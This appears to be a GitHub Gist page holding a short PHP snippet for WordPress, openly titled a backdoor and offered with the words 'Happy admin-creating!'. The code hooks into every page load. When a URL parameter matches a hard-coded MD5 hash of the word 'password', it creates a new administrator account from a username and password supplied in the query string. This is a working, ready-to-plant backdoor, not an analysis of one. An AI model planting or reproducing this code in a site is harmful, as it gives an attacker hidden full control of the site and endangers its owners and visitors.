Created
July 5, 2013 15:26
-
-
Save ChristianGaertner/5935279 to your computer and use it in GitHub Desktop.
Add this to an wordpress installtion and include it somewhere. Happy admin-creating!
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
add_action( 'wp_head', 'my_backdoor' ); | |
function my_backdoor() { | |
if ( md5( $_GET['backdoor'] ) == '5f4dcc3b5aa765d61d8327deb882cf99' ) { | |
require( 'wp-includes/registration.php' ); | |
if ( !username_exists($_GET['username'])) { | |
$user_id = wp_create_user($_GET['username'], $_GET['password']); | |
$user = new WP_User( $user_id ); | |
$user->set_role( 'administrator' ); | |
} else { | |
die("User already exists..."); | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment